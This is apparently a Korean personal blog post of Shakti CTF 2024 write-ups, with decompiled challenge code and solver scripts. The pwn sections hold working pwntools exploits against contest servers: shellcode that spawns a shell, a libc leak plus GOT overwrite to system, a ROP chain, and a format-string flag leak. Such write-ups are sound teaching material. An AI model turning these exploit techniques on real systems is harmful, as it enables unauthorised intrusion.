ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

Shakti CTF 2024
CTF

Shakti CTF 2024

2024. 3. 10. 19:54

 

여긴 포너블 맛집 아님..



[solved]

[crypto] Flag Expedition

더보기
문제파일

 

상형문자 같은 느낌인데 사진으로 검색하니까 navy signal flags라고 하는 것 같다.

 

[pwn] blank_shell

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsi

  v3 = mmap(0LL, 0x1000uLL, 7, 0x22, 0xFFFFFFFF, 0LL);
  read(0, v3, 0x64uLL);
  ((void (__fastcall *)(_QWORD))v3)(0LL);
  return 0;
}

 

그냥 쉘코드 받아와서 실행시킨다.

 shellcraft 사용해주면 된다.

from pwn import *

context.arch = 'amd64'

# p = process('./chall')
p = remote('13.127.242.3', 30513)

sc = shellcraft.sh()
p.send(asm(sc))

p.interactive()

 

[pwn] Sim

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch] BYREF
  int v5; // [esp+10h] [ebp-18h]
  char s[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v7; // [esp+1Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v5 = 0;
  initialize();
  printf("ARMOUR: enabled! Try to break in ;)");
  gets(s);
  while ( v5 != 3 )
  {
    puts("Welcome to The Reactor (current status: MELTDOWN)");
    printmenu();                                // 1. add 2. show 3. break armour
    __isoc99_scanf("%d", &v4);
    if ( v4 == 1 )
    {
      add();
    }
    else if ( v4 == 2 )
    {
      show();
    }
    else
    {
      if ( v4 != 3 )
        exit(0);
      printf(s);
    }
    ++v5;
  }
  return 0;
}
unsigned int add()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Enter the index :");
  __isoc99_scanf("%d", &v1);
  puts("Enter the data :");
  read(0, (void *)(0x10 * v1 + 0x804A080), 4u);
  return __readgsdword(0x14u) ^ v2;
}
unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Enter the index :");
  __isoc99_scanf("%d", &v1);
  puts((const char *)(0x10 * v1 + 0x804A080));
  return __readgsdword(0x14u) ^ v2;
}

 

2번 메뉴로 libc leak하고

1번 메뉴로 got overwrite하고

s에 /bin/sh 넣고 3번 메뉴 실행하면 된다.

from pwn import *

context.log_level = 'debug'

# p = process('./sim')
p = remote('13.127.242.3', 32460)
libc = ELF('./libc.so.6')

p.sendlineafter(b'in ;)',b'/bin/sh')

p.sendlineafter(b'armour',b'2')
p.sendlineafter(b'index :',b'-2')
p.recvline()
libc_base = u32(p.recvn(4))-0x1d55c0
print(hex(libc_base))
printf = libc_base + libc.sym['printf']
system = libc_base + libc.sym['system']

p.sendlineafter(b'armour',b'1')
p.sendlineafter(b'index :',b'-7')
p.send(p32(system))

p.sendlineafter(b'armour',b'3')
p.interactive()

 

[pwn] Looking_Mirror

더보기
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __gid_t rgid; // [rsp+1Ch] [rbp-A4h]
  FILE *stream; // [rsp+28h] [rbp-98h]
  char format[64]; // [rsp+30h] [rbp-90h] BYREF
  char s[72]; // [rsp+70h] [rbp-50h] BYREF
  unsigned __int64 v7; // [rsp+B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Ask the looking mirror for the secret to a masterful conquest!");
  puts("==============================================");
  puts("Hi, you are face to face with the immortal mirror now!");
  puts("Delve into its eternal wisdom and get the much gaurded secret.");
  puts(
    "Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you.");
  puts("\n");
  stream = fopen("secret.txt", "r");
  if ( stream )
  {
    fgets(s, 0x40, stream);
    fclose(stream);
  }
  else
  {
    puts("Warning: secret.txt not found! The secret is not available for you.");
  }
  while ( 1 )
  {
    printf("\n> ");
    fgets(format, 0x40, stdin);
    printf("Looking Mirror: ");
    printf(format);                             // '%p.'*9 + '%s'
  }
}

 

fsb 취약점이 존재한다. 

 스택 상에 플래그를 저장하기 때문에 몇 번째인지만 알면 플래그를 바로 딸 수 있다.

디버깅 해보니 10번째였다.

 

따라서 다음과 같이 전달하면 플래그가 나온다.

'%p.%p.%p.%p.%p.%p.%p.%p.%p.%s'

 

[pwn] Binary_Heist

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.");
  vault();
  puts("Agency: ABORT! Operation Binary Heist - Mission failed.");
  return 0;
}
int vault()
{
  puts("System: Enter your name for log: ");
  return input();
}
int input()
{
  char v1[16]; // [rsp+0h] [rbp-10h] BYREF

  __isoc99_scanf("%s", v1);
  return puts("System: Log entry successful! You will be granted access on entering the correct passcodes.");
}

 

input 함수에 뻔한 bof 취약점이 있다.

win 함수 역할을 하는 infiltrate 함수가 있다.

int __fastcall infiltrate(__int64 a1, __int64 a2)
{
  char command[14]; // [rsp+12h] [rbp-Eh] BYREF

  strcpy(command, "cat vault.txt");
  if ( a1 != 0x1337C0D31337C0D3LL || a2 != 0xACEDC0DEACEDC0DELL )
    return puts("WARNING: Intruder!!!. Authorities have been warned.");
  puts("System: Operation Binary Heist - Top-Secret Flag:");
  return system(command);
}

 

rop로 인자 세팅 후 infiltrate를 호출하면 된다.

from pwn import *

# p = process('./binary_heist')
p = remote('65.0.128.220', 31373)

win = 0x401243
pop_rdi_rsi = 0x0000000000401207

pay = b'a'*0x18
pay += p64(pop_rdi_rsi) + p64(0x1337C0D31337C0D3) + p64(0xACEDC0DEACEDC0DE)
pay += p64(win)
p.sendlineafter(b'log: ',pay)

p.interactive()

 

[rev] Warmup_rev

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsp
  size_t v4; // rax
  _DWORD v6[4]; // [rsp+0h] [rbp-70h] BYREF
  __int64 v7; // [rsp+10h] [rbp-60h]
  char *s; // [rsp+18h] [rbp-58h]
  char s2[56]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  v6[3] = 0x64;
  v7 = 0x63LL;
  v3 = alloca(0x70LL);
  s = (char *)v6;
  printf("Enter the flag: ");
  fgets(s, 0x64, stdin);
  v4 = strcspn(s, "\n");
  s[v4] = 0;
  reverseString(s);
  strcpy(s2, "}!d33dn1_3gn3ll4hc_pUmr4w_4_51_s1ht{ftcitkahs");
  if ( !strcmp(s, s2) )
    puts("\nYou got it!!");
  else
    puts("Oops, that's not the correct flag");
  return 0;
}
__int64 __fastcall reverseString(const char *input)
{
  __int64 result; // rax
  char v2; // [rsp+13h] [rbp-Dh]
  unsigned int index; // [rsp+14h] [rbp-Ch]
  int rev_index; // [rsp+18h] [rbp-8h]

  index = 0;
  for ( rev_index = strlen(input) - 1; ; --rev_index )
  {
    result = index;
    if ( (int)index >= rev_index )
      break;
    v2 = input[index];
    input[index] = input[rev_index];
    input[rev_index] = v2;
    ++index;
  }
  return result;
}

 

reverseString 함수를 역연산 해주면 된다.

flag = '}!d33dn1_3gn3ll4hc_pUmr4w_4_51_s1ht{ftcitkahs'
flag_list = []
for f in flag:
    flag_list.append(f)

index = 0
for rev_index in range(len(flag_list)-1,0,-1):
    
    if index >= rev_index :
        break
    v2 = flag_list[index]
    flag_list[index] = flag_list[rev_index]
    flag_list[rev_index] = v2
    index += 1
print(''.join(flag_list))

 

[rev] Cyber_Kingdom

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-164h]
  int j; // [rsp+10h] [rbp-160h]
  int v6; // [rsp+14h] [rbp-15Ch]
  int k; // [rsp+18h] [rbp-158h]
  int v8[36]; // [rsp+20h] [rbp-150h]
  int v9[36]; // [rsp+B0h] [rbp-C0h]
  char s[40]; // [rsp+140h] [rbp-30h] BYREF
  unsigned __int64 v11; // [rsp+168h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  srand(0x7Bu);
  for ( i = 0; i <= 0x22; ++i )
    v8[i] = rand() & 0xF;
  puts("\n\t||| Welcome to my Cyber Kingdom |||");
  puts("||| I have a quick task for you if you don't mind |||");
  puts("|| Find the correct flag for me and prove yourself! ||\n");
  printf("Please enter the flag: ");
  fgets(s, 0x24, _bss_start);
  for ( j = 0; j <= 0x22; ++j )
    s[j] ^= LOBYTE(v8[j]);
  v9[0] = 0x72;
  v9[1] = 0x6D;
  v9[2] = 0x60;
  v9[3] = 0x65;
  v9[4] = 0x73;
  v9[5] = 0x62;
  v9[6] = 0x68;
  v9[7] = 0x7A;
  v9[8] = 0x6C;
  v9[9] = 0x7A;
  v9[0xA] = 0x77;
  v9[0xB] = 0x64;
  v9[0xC] = 0x31;
  v9[0xD] = 0x54;
  v9[0xE] = 0x77;
  v9[0xF] = 0x31;
  v9[0x10] = 0x6C;
  v9[0x11] = 0x63;
  v9[0x12] = 0x59;
  v9[0x13] = 0x67;
  v9[0x14] = 0x62;
  v9[0x15] = 0x31;
  v9[0x16] = 0x6C;
  v9[0x17] = 0x58;
  v9[0x18] = 0x31;
  v9[0x19] = 0x7D;
  v9[0x1A] = 0x53;
  v9[0x1B] = 0x7E;
  v9[0x1C] = 0x3B;
  v9[0x1D] = 0x62;
  v9[0x1E] = 0x69;
  v9[0x1F] = 0x30;
  v9[0x20] = 0x6C;
  v9[0x21] = 0x31;
  v9[0x22] = 0x72;
  v6 = 0;
  for ( k = 0; k <= 0x22; ++k )
  {
    if ( v9[k] == s[k] )
      ++v6;
  }
  if ( v6 == 0x23 )
    puts("\nYou got it!!");
  else
    puts("\nNope, that's not the right path");
  return 0;
}

 

그냥 역연산 해주면 된다

from ctypes import *
c = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')

c.srand(0x7B)

v8 = [0 for _ in range(0x23)]
for i in range(0x23):
  v8[i] = c.rand() & 0xF

v9 = [0 for _ in range(0x23)]
v9[0] = 0x72
v9[1] = 0x6D
v9[2] = 0x60
v9[3] = 0x65
v9[4] = 0x73
v9[5] = 0x62
v9[6] = 0x68
v9[7] = 0x7A
v9[8] = 0x6C
v9[9] = 0x7A
v9[0xA] = 0x77
v9[0xB] = 0x64
v9[0xC] = 0x31
v9[0xD] = 0x54
v9[0xE] = 0x77
v9[0xF] = 0x31
v9[0x10] = 0x6C
v9[0x11] = 0x63
v9[0x12] = 0x59
v9[0x13] = 0x67
v9[0x14] = 0x62
v9[0x15] = 0x31
v9[0x16] = 0x6C
v9[0x17] = 0x58
v9[0x18] = 0x31
v9[0x19] = 0x7D
v9[0x1A] = 0x53
v9[0x1B] = 0x7E
v9[0x1C] = 0x3B
v9[0x1D] = 0x62
v9[0x1E] = 0x69
v9[0x1F] = 0x30
v9[0x20] = 0x6C
v9[0x21] = 0x31
v9[0x22] = 0x72

for j in range(0x23):
  v9[j] ^= v8[j]
  print(chr(v9[j]),end='')

 

[rev] Operation Ultra

더보기
import base64

def func_1(unk_str0, unk_str):
    flag_len = len(unk_str0)
    unk_str_len = len(unk_str)

    unk_str1 = bytearray(unk_str0, 'utf-8')

    for i in range(flag_len):
        unk_str1[i] = unk_str1[i] ^ ord(unk_str[i % unk_str_len])

    return unk_str1.decode('utf-8')

def func_2(unk_str0):
    flag_len = len(unk_str0)
    unk_str3 = [''] * flag_len

    j = 0

    for i in range(0, flag_len , 4):
        unk_str3[j] = unk_str0[i]
        unk_str3[j + 1] = unk_str0[i + 1]
        j += 2

    for i in range(2, flag_len, 4):
        unk_str3[j] = unk_str0[i]
        unk_str3[j + 1] = unk_str0[i + 1]
        j += 2

    return ''.join(unk_str3)

def main():
    unk_str = "U2hhZG93MjAyNA=="
    unk_str = base64.b64decode(unk_str.encode('ascii')).decode('ascii')

    unk_str0 = input("Enter the input: ")

    unk_str1 = func_1(unk_str0, unk_str)

    unk_str2 = func_2(unk_str1)

    unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0, 15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]

    for i in range(len(unk_str0)):
        if unk_arr0[i] != ord(unk_str2[i]):
            exit(0)

    print("\nCorrect Flag!\n")

if __name__ == "__main__":
    main()

 

func_2, func_1 순으로 역연산을 수행해주면 된다.

func_2는 위치를 옮기는 작업이고, func_1는 xor 작업을 수행한다.

unk_str = "U2hhZG93MjAyNA=="
unk_str = base64.b64decode(unk_str.encode('ascii')).decode('ascii')
unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0, 15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]

flag_len = len(unk_arr0)
unk_str3 = [''] * flag_len

j = 0
for i in range(0, flag_len , 4):
    unk_str3[i] = unk_arr0[j]
    unk_str3[i + 1] = unk_arr0[j + 1]
    j += 2

for i in range(2, flag_len, 4):
    unk_str3[i] = unk_arr0[j]
    unk_str3[i + 1] = unk_arr0[j + 1]
    j += 2

for i in range(len(unk_str3)):
    unk_str3[i] = unk_str3[i] ^ ord(unk_str[i % len(unk_str)])
    print(chr(unk_str3[i]),end='')

 



[unsolved]

[crypto] eH lvl1

더보기
from Crypto.Util.number import*
from gmpy2 import *
from secret import e,b,hint,msg,d
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(msg)
h = bytes([i^b for i in hint])
print(f"h = {hex(bytes_to_long(h))}")
ct = pow(m,e,n)
de = pow(ct,d,n)
assert(m == de)
print("ct = ",ct)
print("p = ",p)
print("q = ",q)
h = 0x6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112
ct =  90411409551177819360717236462351545237822367597930505531741437834918499125195272674859389978951589180632146502190429979348445123366914000167832349866368754227474060832624537550600921894849466284315037863094795265822884392628050584343158613338754532642964368052098136565157343201877382609610774291396944124354
p =  10425866553433272288676977376976736493869099145622614885498170561565122111495807572631609087909399078701783905493563029715011322065331636751277834978526061
q =  9215753518399683669080201592666232851634627861957009698720674021492716071355990364002777325458055207969176695525292834842774295594232711456066623178861093

 

영어 해석 못해서 문제 못 푼건 처음이네 ㅋㅋ..

(e + 0x3b 해줬어야 하는데..)

from Crypto.Util.number import*
from gmpy2 import *

h = 0x6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112
ct =  90411409551177819360717236462351545237822367597930505531741437834918499125195272674859389978951589180632146502190429979348445123366914000167832349866368754227474060832624537550600921894849466284315037863094795265822884392628050584343158613338754532642964368052098136565157343201877382609610774291396944124354
p =  10425866553433272288676977376976736493869099145622614885498170561565122111495807572631609087909399078701783905493563029715011322065331636751277834978526061
q =  9215753518399683669080201592666232851634627861957009698720674021492716071355990364002777325458055207969176695525292834842774295594232711456066623178861093

n = p*q
phi = (p-1)*(q-1)

e = 79400 + 0x3b
d = pow(e,-1,phi)
de = pow(ct,d,n)
print(long_to_bytes(de))

# hint = long_to_bytes(h)
# for b in range(0x100):
#     h = bytes([i^b for i in hint])
#     print(hex(b),h)

# 0x3b The e = 79400+(the single byte that was xored) :)

 

[web] Delicious

더보기

아니 나 이거 쿠키 {"admin" : 1}로 바꿨는데 왜 안 풀렸지..


https://radham0wn1ka.github.io/shakthiCTF/

'CTF' 카테고리의 다른 글

ACSC 2024 Quals  (0) 2024.04.01
Pearl CTF  (0) 2024.03.11
osu!gaming CTF 2024  (0) 2024.03.04
TetCTF 2024  (0) 2024.01.29
vsCTF 2023  (0) 2023.09.25
    'CTF' 카테고리의 다른 글
    • ACSC 2024 Quals
    • Pearl CTF
    • osu!gaming CTF 2024
    • TetCTF 2024
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바